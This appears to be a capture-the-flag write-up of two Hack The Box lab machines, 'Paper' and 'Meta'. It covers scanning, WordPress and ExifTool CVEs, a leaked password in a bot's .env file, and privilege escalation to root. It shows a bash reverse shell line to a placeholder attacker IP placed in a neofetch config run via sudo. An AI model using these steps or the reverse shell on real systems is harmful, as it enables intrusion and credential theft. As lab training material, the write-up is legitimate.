|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1

There was a suspicious header on port 80 that I suspected might be a domain for the machine.

me@nowhere:~/htb/paper$ curl -I 10.10.11.143
HTTP/1.1 403 Forbidden
Date: Mon, 20 Jun 2022 08:29:09 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8

I added the domain office.paper to the hosts file on my local machine. When I accessed http://office.paper/, there was a website running a WordPress CMS, so I conducted a scan using WPScan.

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |  - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>

Since I saw that the WordPress version was 5.2.3, which is quite old, I searched for vulnerabilities and found that this version had a flaw allowing the reading of unpublished drafts by accessing http://office.paper/?static=1. (CVE-2019–17671).

Here, I found a new subdomain, chat.office.paper, and a URL for employee registration. I added this subdomain to my hosts file and accessed the provided URL.

After registering, I opened the general channel and sent a direct message to the bot Recyclops. Recyclops has commands for reading files (file), listing directories (list), and showing the time (time). There is also a hidden command, run, for executing commands, which I found by reading the Hubot source code. This command can be used for a reverse shell, but there is an easier method: reading the password of the user dwight stored in ../hubot/.env.

I logged into the SSH service using the username dwight and password Queenofblad3s!23 and retrieved the user.txt file.

[dwight@paper ~]$ id
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)
[dwight@paper ~]$ cat user.txt
96b5646a650f6[redacted]

I performed enumeration using LinPeas.sh and found that the machine was vulnerable to CVE-2021–3560.

I saved the exploit file to my local machine, transferred it to the Paper machine, and executed it using Python to gain a shell as root.

[root@paper tmp]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper tmp]# cat /root/root.txt
c8cd82908786116[redacted]

Rooted!

Machine IP: 10.10.11.140

The first thing I did was scan the machine using nmap to discover open ports and services.

Nmap scan report for 10.10.11.140
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Next, I added the domain to the hosts file. After performing a directory brute force on the website and not finding anything, I attempted to brute force the subdomains using ffuf.

A subdomain, dev01.artcorp.htb, was found, so I added it to the hosts file. When I accessed the website, I found a web app called “MetaView” that can display metadata from uploaded images.

Knowing that the web app uses ExifTool, I exploited a remote code execution vulnerability (CVE-2021-22204) to gain a reverse shell.

www-data@meta:/dev/shm$ ./pspy64
2022/06/09 16:04:22 CMD: UID=0    PID=1     | /sbin/init
2022/06/09 16:05:01 CMD: UID=0    PID=18397 | /usr/sbin/CRON -f
2022/06/09 16:05:01 CMD: UID=0    PID=18396 | /usr/sbin/CRON -f
2022/06/09 16:05:01 CMD: UID=0    PID=18398 | /usr/sbin/CRON -f
2022/06/09 16:05:01 CMD: UID=1000 PID=18399 | /bin/bash /usr/local/bin/convert_images.sh
2022/06/09 16:05:01 CMD: UID=1000 PID=18400 | /bin/bash /usr/local/bin/convert_images.sh
2022/06/09 16:05:01 CMD: UID=0    PID=18402 | /bin/sh -c rm /tmp/*
2022/06/09 16:05:01 CMD: UID=0    PID=18401 | /bin/sh -c rm /tmp/*
2022/06/09 16:05:01 CMD: UID=1000 PID=18403 | pkill mogrify

I discovered a command executed repeatedly by the user thomas (UID 1000). When I opened the convert_images.sh file, I found it contained several commands to convert images to PNG format. I checked the ImageMagick version used, which was 7.0.10-36, vulnerable to command injection (CVE-2020-29599). I used the following payload in poc.svg to obtain the private key of the user thomas.

By moving the poc.svg file to /var/www/dev01.artcorp.htb/convert_images/, I could see the result in the directory /dev/shm/c, which I had created beforehand. This result file was the id_rsa private key for the user thomas. I just needed to transfer this file to my local machine and use it to log in via SSH.

me@nowhere:~/htb/meta$ ls -l id_rsa
-rw------- 1 me me 2590 Jun  9 13:26 id_rsa
me@nowhere:~/htb/meta$ ssh thomas@artcorp.htb -i id_rsa
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jun  9 11:47:48 2022 from 10.10.14.210
thomas@meta:~$ cat user.txt
[redacted]

After gaining access to the user, I used LinPeas.sh to enumerate and found that the user thomas could execute the command neofetch as root without a password.

I modified the file /home/thomas/.config/neofetch/config.conf by adding a line containing a reverse shell command to my local machine:

bash -c 'bash -i >& /dev/tcp/[LOCAL_IP]/4444 0>&1'

I also changed the $XDG_CONFIG_HOME environment variable to /home/thomas/.config to ensure that the neofetch command uses the configuration for the user thomas.

export XDG_CONFIG_HOME="$HOME/.config"
sudo neofetch "\"\""

Execute the neofetch command to get a reverse shell as root.

Rooted!